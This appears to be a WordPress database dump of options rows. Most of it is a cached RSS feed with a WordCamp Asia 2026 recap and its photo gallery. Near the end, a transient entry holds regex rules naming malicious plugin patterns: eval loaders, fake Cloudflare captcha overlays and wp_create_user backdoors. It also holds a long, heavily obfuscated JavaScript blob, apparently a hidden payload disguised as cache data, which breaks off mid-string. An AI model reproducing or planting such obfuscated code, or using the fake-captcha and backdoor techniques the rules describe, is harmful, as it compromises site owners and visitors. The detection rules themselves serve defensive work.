and <a href="https://asia.wordcamp.org/2026/session/panel-journalism-on-the-open-web/">journalism on the open web</a>.</p>\n\n\n\n<p class="wp-block-paragraph">Together, the two conference days made clear that WordCamp Asia 2026 was designed not for one kind of attendee, but for many. Developers, founders, marketers, contributors, organizers, and people finding their place in WordPress for the first time all found something that spoke directly to their work and interests. The breadth of the program was striking, but so was the feeling that these conversations mattered now.</p>\n\n\n\n<h2 class="wp-block-heading">Building What Comes Next</h2>\n\n\n\n<p class="wp-block-paragraph">WordCamp Asia 2026 closed with reflections from Mary Hubbard, following an opening announcement from Chenda Ngak that WordCamp India will join the calendar in 2027 as the fourth flagship WordPress event.</p>\n\n\n\n<p class="wp-block-paragraph">Mary’s remarks tied together several threads that had already surfaced throughout the event: India’s long-standing role in the WordPress project, the growth of programs like Campus Connect and WordPress Credits, the energy of YouthCamp, and the significance of WordPress 7.0. One of the clearest ideas in the session was that WordPress is entering a new phase shaped by real-time collaboration, AI infrastructure, and global contributor growth. That framing gave the closing session a strong sense of direction without losing sight of the community work that made it possible.</p>\n\n\n\n<figure class="wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio"><div class="wp-block-embed__wrapper">\n\n</div></figure>\n\n\n\n<p class="wp-block-paragraph">The session then shifted into a panel discussion about the current state of WordPress and where the project is headed next. Peter Wilson and Sergey Biryukov joined Hubbard on stage, while audience questions brought the conversation back to many of the themes that had shaped the event across all three days. Even from afar, Ma.tt Mullenweg remained part of the discussion, following along remotely and sending written responses during the live Q&amp;A.</p>\n\n\n\n<p class="wp-block-paragraph">Those questions touched on contributor growth, AI, plugins, local communities, product direction, and the long-term health of the open web. What stood out was how often the answers returned to the same core idea: WordPress continues to grow through open discussion, shared responsibility, and the people who keep showing up to build it together.</p>\n\n\n\n<h2 class="wp-block-heading">A Lasting Momentum</h2>\n\n\n\n<p class="wp-block-paragraph">Over three days in Mumbai, WordCamp Asia 2026 brought together contribution, learning, and community. From Contributor Day through the closing keynote, the event balanced hands-on work with bigger conversations about publishing, technology, education, and the open web.</p>\n\n\n\n<p class="wp-block-paragraph">The event also created space for many kinds of participation. Some attendees contributed to Core, Training, Polyglots, Photos, and other teams. Others came for the conference program, workshops, or the chance to reconnect with collaborators and meet new people. Across session rooms, tea breaks, shared meals, sponsor hall conversations, and the after party, the community side of the event remained just as important as the formal program.</p>\n\n\n\n<figure class="wp-block-gallery has-nested-images columns-default is-cropped has-black-background-color has-background wp-block-gallery-6 is-layout-flex wp-block-gallery-is-layout-flex" style="border-width: 20px; border-radius: 2px;">\n<figure class="wp-block-image size-large wp-lightbox-container"><img alt="" class="wp-image-20408" height="575" src="https://i0.wp.com/wordpress.org/news/files/2026/04/IMG_9030.jpg?resize=1024%2C575&#038;ssl=1" width="1024" /><button class="lightbox-trigger" type="button">\n			<svg fill="none" height="12" viewBox="0 0 12 12" width="12" xmlns="http://www.w3.org/2000/svg">\n				<path d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z" fill="#fff">\n			</svg>\n		</button></figure>\n\n\n\n<figure class="wp-block-image size-large wp-lightbox-container"><img alt="" class="wp-image-20410" height="575" src="https://i0.wp.com/wordpress.org/news/files/2026/04/Copy-of-IMG_0065.jpg?resize=1024%2C575&#038;ssl=1" width="1024" /><button class="lightbox-trigger" type="button">\n			<svg fill="none" height="12" viewBox="0 0 12 12" width="12" xmlns="http://www.w3.org/2000/svg">\n				<path d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z" fill="#fff">\n			</svg>\n		</button></figure>\n\n\n\n<figure class="wp-block-image size-large wp-lightbox-container"><img alt="" class="wp-image-20409" height="683" src="https://i0.wp.com/wordpress.org/news/files/2026/04/shilpa-mary.jpg?resize=1024%2C683&#038;ssl=1" width="1024" /><button class="lightbox-trigger" type="button">\n			<svg fill="none" height="12" viewBox="0 0 12 12" width="12" xmlns="http://www.w3.org/2000/svg">\n				<path d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z" fill="#fff">\n			</svg>\n		</button></figure>\n\n\n\n<figure class="wp-block-image size-large wp-lightbox-container"><img alt="" class="wp-image-20416" height="769" src="https://i0.wp.com/wordpress.org/news/files/2026/04/WordPress-AI-6-2.jpg?resize=1024%2C769&#038;ssl=1" width="1024" /><button class="lightbox-trigger" type="button">\n			<svg fill="none" height="12" viewBox="0 0 12 12" width="12" xmlns="http://www.w3.org/2000/svg">\n				<path d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z" fill="#fff">\n			</svg>\n		</button></figure>\n\n\n\n<figure class="wp-block-image size-large wp-lightbox-container"><img alt="" class="wp-image-20413" height="575" src="https://i0.wp.com/wordpress.org/news/files/2026/04/IMG_9040.jpg?resize=1024%2C575&#038;ssl=1" width="1024" /><button class="lightbox-trigger" type="button">\n			<svg fill="none" height="12" viewBox="0 0 12 12" width="12" xmlns="http://www.w3.org/2000/svg">\n				<path d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z" fill="#fff">\n			</svg>\n		</button></figure>\n\n\n\n<figure class="wp-block-image size-large wp-lightbox-container"><img alt="" class="wp-image-20412" height="769" src="https://i0.wp.com/wordpress.org/news/files/2026/04/WordPress-AI-1-21.jpg?resize=1024%2C769&#038;ssl=1" width="1024" /><button class="lightbox-trigger" type="button">\n			<svg fill="none" height="12" viewBox="0 0 12 12" width="12" xmlns="http://www.w3.org/2000/svg">\n				<path d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z" fill="#fff">\n			</svg>\n		</button></figure>\n\n\n\n<figure class="wp-block-image size-large wp-lightbox-container"><img alt="" class="wp-image-20417" height="683" src="https://i0.wp.com/wordpress.org/news/files/2026/04/IMG_9803.jpg?resize=1024%2C683&#038;ssl=1" width="1024" /><button class="lightbox-trigger" type="button">\n			<svg fill="none" height="12" viewBox="0 0 12 12" width="12" xmlns="http://www.w3.org/2000/svg">\n				<path d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z" fill="#fff">\n			</svg>\n		</button></figure>\n\n\n\n<figure class="wp-block-image size-large wp-lightbox-container"><img alt="" class="wp-image-20415" height="683" src="https://i0.wp.com/wordpress.org/news/files/2026/04/DSCF0499.jpg?resize=1024%2C683&#038;ssl=1" width="1024" /><button class="lightbox-trigger" type="button">\n			<svg fill="none" height="12" viewBox="0 0 12 12" width="12" xmlns="http://www.w3.org/2000/svg">\n				<path d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z" fill="#fff">\n			</svg>\n		</button></figure>\n\n\n\n<figure class="wp-block-image size-large wp-lightbox-container"><img alt="" class="wp-image-20414" height="575" src="https://i0.wp.com/wordpress.org/news/files/2026/04/IMG_9045.jpg?resize=1024%2C575&#038;ssl=1" width="1024" /><button class="lightbox-trigger" type="button">\n			<svg fill="none" height="12" viewBox="0 0 12 12" width="12" xmlns="http://www.w3.org/2000/svg">\n				<path d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z" fill="#fff">\n			</svg>\n		</button></figure>\n\n\n\n<figure class="wp-block-image size-large wp-lightbox-container"><img alt="" class="wp-image-20407" height="683" src="https://i0.wp.com/wordpress.org/news/files/2026/04/IMG_9867-1-scaled-2.webp?resize=1024%2C683&#038;ssl=1" width="1024" /><button class="lightbox-trigger" type="button">\n			<svg fill="none" height="12" viewBox="0 0 12 12" width="12" xmlns="http://www.w3.org/2000/svg">\n				<path d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z" fill="#fff">\n			</svg>\n		</button></figure>\n</figure>\n\n\n\n<p class="wp-block-paragraph">Thank you to the organizers, volunteers, speakers, sponsors, attendees, and everyone who joined online. WordCamp Asia 2026 was a reminder that WordPress continues to grow through the people who show up to contribute and build together.</p>\n\n\n\n<p class="wp-block-paragraph">There is still more to look forward to this year. The community will gather again at <a href="https://europe.wordcamp.org/2026/">WordCamp Europe 2026 in Kraków, Poland</a> from June 4–6, followed by <a href="https://us.wordcamp.org/2026/">WordCamp US 2026 in Phoenix, Arizona</a> from August 16–19.</p>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Sat, 11 Apr 2026 18:21:14 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:14:"Brett McSherry";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:49;a:6:{s:4:"data";s:21:"\n	\n	\n	\n	\n	\n	\n	\n	\n	\n	\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:83:"Open Channels FM: How AI Is Reshaping Release Communication in Open Source Projects";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:34:"https://openchannels.fm/?p=2551276";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:90:"https://openchannels.fm/how-ai-is-reshaping-release-communication-in-open-source-projects/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:184:"AI is revolutionizing release communication for open source projects by automating updates, enhancing clarity, and maintaining human oversight, ensuring effective information delivery.";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Fri, 10 Apr 2026 08:47:07 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:8:"Bob Dunn";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}}}}}}}}}}}}s:4:"type";i:128;s:7:"headers";O:48:"WpOrg\\Requests\\Utility\\CaseInsensitiveDictionary":1:{s:7:"\0*\0data";a:9:{s:6:"server";s:5:"nginx";s:4:"date";s:29:"Wed, 13 May 2026 17:16:13 GMT";s:12:"content-type";s:8:"text/xml";s:13:"last-modified";s:29:"Wed, 13 May 2026 17:00:33 GMT";s:4:"vary";s:15:"Accept-Encoding";s:15:"x-frame-options";s:10:"SAMEORIGIN";s:16:"content-encoding";s:4:"gzip";s:7:"alt-svc";s:19:"h3=":443"; ma=86400";s:4:"x-nc";s:9:"HIT ord 1";}}s:5:"build";i:1743611873;s:21:"cache_expiration_time";i:1778735773;s:23:"__cache_expiration_time";i:1778735773;}', 'off'),
	(100897, '_transient_feed_mod_69c933d8a78805efd0abe985766ffb51', '1778692572', 'off'),
	(100901, '_transient_feed_mod_d117b5738fbd35bd8c0391cda1f2b5d9', '1778692573', 'off'),
	(92683, '_transient_gsrhri_quxr', 'a:3:{s:11:"pluginRules";a:6:{i:0;s:70:"#<.*\\?php[\\s\\S]+goto\\s+[\\s\\S]+eval|<.*\\?php[\\s\\S]+goto[\\s\\S]+\\\\x\\d\\d#i";i:1;s:181:"#==[\\s\\S]+TextDecoder[\\s\\S]+decodeURIComponent[\\s\\S]+new Function\\(|Loads the embedded script on all frontend pages|assets\\/css.js[\\s\\S]+wp_enqueue_scripts[\\s\\S]+script_loader_tag#i";i:2;s:296:"#CF Captcha - Windows Only|Shows a Cloudflare-style captcha overlay (for|to) Windows visitors|window\\.cfCaptchaImages|CF_Captcha_Windows|Create iframe loading the separate captcha\\.html|cf-captcha-verified[\\s\\S]+document\\.cookie|maybe_show_captcha[\\s\\S]+cf-captcha-overlay|\\?cfcw_captcha_page=1#i";i:3;s:306:"#straightsell\\.com\\.au\\/documents\\/AddOns\\/cloudflare-logo-main|png-clipart\\/20250124\\/original\\/pngtree-digital-identity-fingerprint-icon-png-image_20012441\\.png|slt3lc6tev37\\/4mhf8gvPA2FDQcpPq2dcaX\\/36548c955c29635bc99d9936ccdeaa44|zkvhlag99gkb\\/7wYHEaqQeVJvIteeEdGz1S\\/134b9a26f1b9f88dcf6d77459fe08fde#i";i:4;s:99:"#window\\.CloudflareCaptcha\\.show|["\']cf-captcha-animations|checking:["\']Checking if you are human#i";i:5;s:78:"#font["\']=>[\\s\\S]+endpoint["\']=>[\\s\\S]+sitePubKey["\']=>[\\s\\S]+wp_create_user#i";}s:11:"injectRules";a:2:{i:0;s:222:"#<\\?php\\s+if\\s*\\(\\s*!function_exists\\s*\\(\\s*[\'"]f\\w+[\'"]\\s*\\)\\s*\\)\\s*\\{\\s*function\\s+f\\w+\\(\\s*\\)\\s*\\{\\s+\\?>\\s*<script>[^?]+==[^?]+TextDecoder[^?]+decodeURIComponent[^?]+new Function\\([^?]+script>[\\s\\S]*f\\w+\\(\\s*\\);\\s*\\?>#i";i:1;s:244:"#if\\s*\\(\\s*!function_exists\\s*\\(\\s*[\'"]f\\w+[\'"]\\s*\\)\\s*\\)\\s*\\{\\s*function\\s+f\\w+\\(\\s*\\)\\s*\\{[^?]+is_admin[^?]+is_user_logged_in[^?]+<script>[^?]+==[^?]+TextDecoder[^?]+decodeURIComponent[^?]+new Function\\([^?]+add_action\\s*\\([^)]+999\\s*\\)\\s*;#i";}s:2:"js";s:26640:""use strict";var LYvttg,oPBoBf,rECTaG,koh3iA,_0xXC3,Vqrls6,_DHzkHL,fY5oHlO,n6oRse;const MoaRt6L=[0x0,0x1,0x8,0xff,"length","undefined",0x3f,0x6,"fromCodePoint",0x7,0xc,"push",0x5b,0x1fff,0x58,0xd,0xe,0x7f,0x80,0x87,0x8d,"js",0xa4,null,0xa,0x3,!0x1];function nffYl0D(LYvttg){var oPBoBf="rcLABDu^tHW?vPf(*Iaw}_o;iX9TxF$5SGQU68y!Cze]hN3|M{>O=s)j7Y+J&m@,[.EZ:p<g\\"0b~%1lVk2q4RK#`/nd",rECTaG,koh3iA,_0xXC3,Vqrls6,_DHzkHL,fY5oHlO,n6oRse;aqkJK5_(rECTaG=""+(LYvttg||""),koh3iA=rECTaG.length,_0xXC3=[],Vqrls6=MoaRt6L[0x0],_DHzkHL=MoaRt6L[0x0],fY5oHlO=-MoaRt6L[0x1]);for(n6oRse=MoaRt6L[0x0];n6oRse<koh3iA;n6oRse++){var nffYl0D=oPBoBf.indexOf(rECTaG[n6oRse]);if(nffYl0D===-MoaRt6L[0x1])continue;if(fY5oHlO<MoaRt6L[0x0]){fY5oHlO=nffYl0D}else{aqkJK5_(fY5oHlO+=nffYl0D*MoaRt6L[0xc],Vqrls6|=fY5oHlO<<_DHzkHL,_DHzkHL+=(fY5oHlO&MoaRt6L[0xd])>MoaRt6L[0xe]?MoaRt6L[0xf]:MoaRt6L[0x10]);do{aqkJK5_(_0xXC3.push(Vqrls6&MoaRt6L[0x3]),Vqrls6>>=MoaRt6L[0x2],_DHzkHL-=MoaRt6L[0x2])}while(_DHzkHL>MoaRt6L[0x9]);fY5oHlO=-MoaRt6L[0x1]}}if(fY5oHlO>-MoaRt6L[0x1]){_0xXC3.push((Vqrls6|fY5oHlO<<_DHzkHL)&MoaRt6L[0x3])}return oLiJtS(_0xXC3)}function Ldlxk4K(rECTaG){if(typeof LYvttg[rECTaG]===MoaRt6L[0x5]){return LYvttg[rECTaG]=nffYl0D(oPBoBf[rECTaG])}return LYvttg[rECTaG]}aqkJK5_(LYvttg={},oPBoBf=["r38^$mM#ZYvqST5eF.{SVgW#V(:XdX\\"w0}QO6~4Fw[wVrTb9nMg%6|b3#P4?c","\\"8i{HVC$X}I:D\\"#CIS{T0@I^/}xjZf.5`J%b9Y}=tjIpr","HBo^W2Hw|t4Z@q2CsHf^","SvDjhq=a6Ys{A<Q6&)P%6CSaUvsaX*;C3g4>P","L&a\\"3,KV,,tH0i1y,.`=;J.zYI#F;yE$=;L","lf{)#NI|fE>Jk(FF4A#%h8&L","u,;GB&la&t}\\"<2/QDaWTupdC>,]","lQ+O38.Y9@p<&4]907=bHY3aO)?8BAh9Qb*u3:+Cmt9@#X4z,Q4t","JC]FW%cw^","F8jHNOJ;GYNpB4VT{8A1H#[iWj\\"tH&G59.z~L3cp7+V2c","RMLT3+oicve=N*&I?{WSlyd=x.N@1M:a*c","Y@91+3r","IOkO*@N~*E;}_MWXAB!xYV(XA","uBFjAsh+b})Bjf4z7:YtW&VPoPS@5y96[u5H","~u3xp\\"hvow(+x4;Q/M^u","XH1bz7*6EYNx^9zwO}RD)!qQ?.zpV4J;*c","ybV=TyS6o+;WU9ya5Amb@Vl+B","WF6W<6Fw=)fW$D5In@g{ljJ;Uv=^zMoQta$x=qe[u","[;>Sa66krEg,miLi/r","ogyBaY1^cEp0iTvXwCSHTYb$^+boym?9","nN5xkbVP?IHT_*oCLY=s<@o=EYxMVf(!T.P=Z\\"t+7+A8<{P","$YR9|:X^cY+khMsCh:ESDj;U3s;OTLf!jIw\\"a22U9ftPj<$eM}!B06r","`fTF`4LiLYp<gTV!9SLO38YFf({f\\"(_T05bSZ3TwhIKoQ8}TNvhbgjr+u","?bl%A\\"*[].T}TqL8zY|BuVu3Uvmc6gH5nxiHig66FJI.(flCPg_W","$&)^94X~37H\\"S|)Q).2)H&!pJ?$p&&}CwCy^>3$$EH]WmMW9","yg|{a%yvu+hk1Xc6)9@jk>#@UwGA/(TU]}XT],W=?@_%MA+U/AAS=OG~jPqtc","}Fy%t#*=sw8j8MWXu]V{%%T|kvwP$mty*]F^f2Hc","nA@BKNX|]fd6]quiF.)H9)y=ZH0?k4r;`.}bC~_zNJJSc","dA3Bn=qC$,.31\\"dezgK5U|dib@ZsT>65!@K%>+_2*vc$9mn*~r","4NBDK><v>w","3Y4>bMgz)[!0WD&;l<&^?@hLoP55<pCa3:?1g>wFT@~(fDJxS;Djg@!c","ra2urV%iYfeig<reF}dt?YCCa(w\\".B:XR<;Gqlnc","%@$^:b=ahfuuk(=CQQdtG=r","gII)J!,c4vt)=(39+9CH","sg8B!)B6qvlBM(Tz\\")sbfjHs,as%K{m;T}>TA2>3I(FjfDc6A&7)l><a&f","g}LSym4c0+$=!yM!f]WSf>xL^+5j9{FUC;t)G=1K}[41mp@Idr","8):bW>xvLv1Fs*9;","*)C)f%bbSvpX1M,I^SJ1FK@iiPiuBAu","jO)0c6mP<w;u[T<X@Mpj{~XF+}Y1]qP","7)`%=7ZYr,lt^>Ba^])B<&k++IwV/AX;T3y%\\"6Dc","hgRb[3;c+J{xumH598L","/?U1i4r","d@P=]Oe=H./b[ATxA{Bjl>?wY.@{|f/o$]O\\"V69L|a?QS|;Q","HF)=`=5w!P","yuvW_%{|]tGA+P%yZ8yxt68U[sLlaL","o;<={7[#xf[3Q{LIi&e~(b.O%tTWrT!y&HLTD\\";F]7}AXMD8Q)h5tVAz;[Y","m5_j5gncw&eUU9nonMaO/l8^&?\\"0W2\\"w68\\"uo","w)TF{8<#jPu.!f<i7Cr)5JG^9}z0MMA$Y@?S:sRvCI27.B","G:uHq%.OH@nw5q:i\\"}e~rVq+1?4<CTby:)yBnlKKC}uO;>Nwa,0t","7u351M:3Wf<kQP6aW;>Oi","GM=jv4,c","1:gxq@zP)P?~sX,8Bg&1Y<KUka~Bs*/e8Y@H","c]C$9=?^{&1sjqKx8}_b$|j,[v:01pA]jO&bDjFFl(","@.(=80z2u","4eFW7R)3TJf@X6xUAU358kt=v@]fZ<UXM)SHr3qC,,xI]f)UWBnu","ZH|xOqNpfEL~!9[e","yFhWog^,fa","Hg,Bn0,zXf9u8MbX~J^G}p0,5,eJbpaC(&<{m&8,laU","~e1g+O}LD","BEP5+<r66PHun6c8i:]1dYDXcv13amsT*,vbC|@$lav:tTci\\"@BD`y~zkYk?c","0@&Wd=f3?I.=!+m;avil&+E#i+>%c","<):9gs,FWjv8rTTztBaOYRM=NJ;j,fMQVQ|H","m8=1DscP_Pf@c*Tzy@L~O<Z;{vwP{*Dw/Al5*Y0YU&.kp6Q$%Oh1}","f&/0!,!YaH3BSAZ8^g|BC0luks`<hJ@IJA_j`=ba:H","7gMO6kXFbJ(jam)z","]5$=Oq.F^","gudOM!2F/P","Db%>0Y3vl(z%Wq.86]rHF=jPSYu$I*q!iOc","8bpWVbmU^[?MV<5;7:85:&[+LYV(M|39PC#^","QFm5^bD^cvKvzB","H{<H>3=L",">YK^.V/=QY`b?9t","j@ISe0o#%@:<?!7UUb>S+1Iwu[dcL2L$j:~>a","b;(Gng}34)7Sg+xer_|xujRCSHoPg9z5z.+1M~y=*vksuDB8)uG~I2$v4vN%c","TQ@BqNAs&f?qFMWX2O7{y8V,xf9}piA]bf=FW#wPLv<0wfD]ZQDj%@qQB","I)C$c2~OS&.0ymuaNYmW",".@^)YO+inf4bj([;<0#B$mcXhtl?a2mU?{<^I","MYj)7\\"u6r,Z05fuwwgN5DbwsIEO%N8n*\\"@/H4p6aJJOp]L","yIku}4uetjW~k|]X*vj{SJW$V(~Z!fXU}}@=tVr","YC?1<Qi6z.J,@pQaFgFW",";YZF$KXzOY_%k4wzvg{)BVresPq?%44z07yj^b?^)[0ovT@iFbc)xl7#u","`Oujy8HX~I85qX)Q`0WOXKXU9.ME1BPTH{)0F0Ap4wwPA<v","gAqtY<`YO&q,q{85m;$5k6QaB","v;<5bMtihs_%[M6a#O%bV6}3HW$%oL","*a)5jOJph@pc|+x6lu$50j(s0@1(xTRo","|Ci$t%itV7|fjy<aquiHDs7+e@m0;|$F6AA","?935qYVOef^}rgieP3TF31Q$5(aO{\\"g8jC<^O+fi5,|j#2p5O)x5_g[vA","3u:W&MTUR)3jaDr;L]$5$KHz0@>@0M_z","C9$B.3<vS(K(E888a)j)2@U~E)S","Ygpg[\\"^Pp[L)8MnUY@nt","MOv1h8I2Dw}j2i8$>5cl.6Yc5a}TvgmFW9ZtW#Q$D[$p6ASI<r",")Q9\\"s!a#R[8IdpPT_YCuO{,pB","w3Ot7Vkupwn<}(Z6C8Z1Ab<vp[[04LE;D;Pb/l&$OHGfwf#Q",";;|HnGlC(,s{vgsUH]_WalY,I(U%M4`zk741z{NUh@<3rA!ywg7)jOoL","cbQ~b@7=nI#<R|2C{}L\\"D6UU*(8V\\"BPy3Qk0#=,FB","u]L\\"hqi3|t5psXCXASl^F|#=M&TT(f7xaYy=$KIU&@vV@p[;&;lB/>kuL)8","\\"5a~+QT^C+IA.i9x!AL","Bb;=`4[uV,:([JU8W]lB;%h[*EVc!fI}2MH)\\"@fL","oOCT,Q0z^W&^T9axN;L","&M2)N~\\"vs[~7YiA]|]y5_=Y;W}iWY\\"RTnfkHF4r","l?GTP%iiSE]i?LUX&gIO0YyvX.S","_(^=87h3*(0k`|r6R<(%/g+3|v!","<08bUK}tD)WQ@Xieu:2SB\\"Jz3E%1Jf]wkO<H|,X|t}/6rArFz}t)&MnI`P","},@^Z@VVUYwjG*[F","[0ZtFCS$@J5\\"TAfwlQDWe<|^|(]Wjy6a","OCK9tVq3X+\\"kAy+6PB5xqN+ie?O?+maQa3{)s\\"`;M,s","9gzSs+B+:w_5RJ$i","6bK>tj^wR)~b6|Z54eX~m1BeP_AO_\\")C","X9qScs=3D)M0~A#*u)}5;4r","k82)^j@aS_F\\"t*c5x349B3dvb?o+uD:8.r","luU\\"XYZPVtl1TAz!mgc\\"/|v#h7R(c","l7pghOmP^","1O{\\"ujwp+fhWTL[FROeOa%hk0IR?;L","kfZt+sCCA","(H+S<blb$aNpiT!X;3c","k8K9,+JF<PQ","%:/O!|1Y@?&1]<NTCOd1UUl=E),<J(]yZecT9)qCTf","U]R9Q)Tw*vv:Tgu8C;<^","\\"JK9+1Np.()0^qC97J7H_J&3%sk??9v","s9`=37IP6YKY@psz<@oBDsGwXfu+x|?wT:S{#Ye$M(","8A,=3k6=5a]kUfx$nN70xCH^\\"}sk\\"AG6b:A","|.=^al#vmtII,y`Q","b?@5Sly=A)&kAAn;{uZSOOk=~701A>*Q,.ZD+&&iZvvT/A","v:)^uVj^=Pa~?A!i\\":s=}","hh~A%T!<yf4l96>/Z0","$h!Tmi6<","y:=88C,","6Qfa4LzZtf8.<#t","tZC_sgK@Au9yH=P?0l._w}]L$|w{9O1Ef$><.{Vga>7\\"P\\"`?644a7d*G4C>yO\\"/?X/vMic[h:o?\\"tlOJ}%3e<d@)=XK*r!s?,!;2L$z^7XI]OlB(DlWM,]~B)W]OCp4J;uH2<dUhSofYxD7#q[Xa&~TG$|9yT4/?llN_>eZwku","<4w_F","n%p&f5#Gq^9","4T0z<rpv>1R)[lB(","qZ._","EZ`<uaGv%^lh]TK","9qcl,)*f","+4n2rm7S0","x2&_kEQ","0lWM<diGxTf0x","G4n2rm7S0","qi#rqq%0T&6>!f=4J>fN#q){}@J](vko??S!V#%02M4>5fO4??S!@<:xryq]Jh!oX1x","t5H2RmQ","xl$M","/4uedm!f","q[C_omIY!@R)Cw}jS?I_4}N^4@a$wp/,BtiO\\"a%BcV?|Q","QuG]Kr([","5WB5G","DWhwh","4A:Ekls[","tk@KfmHI}pC","uu:Ekls[","_@@K|#VB}(;I[7","QlvOK","j!S@","o?$s/+@X}|","!C%t)","N(`a",";yV/#qxraS4VMbX,S,QsH!]r",",b]m(!:r","++p]&=+`\\"P2lbo","<|qm::=bKGSPk","!N%tc","SSK/s&\\"",":b1f","#kV/}.*","FKG<D;A$,u@98=IEt4N_","#Zae<r\\"BSV=","tRHXR{u?I<9","e?rahSQ","Cfz(ceMu","`~Ul~kz\\"DB:","?KXl","yG6aJ:)ydAfC!&(w",".xf42=Z","8$KiT2Nng","@Qn=;Bz`8",":U92X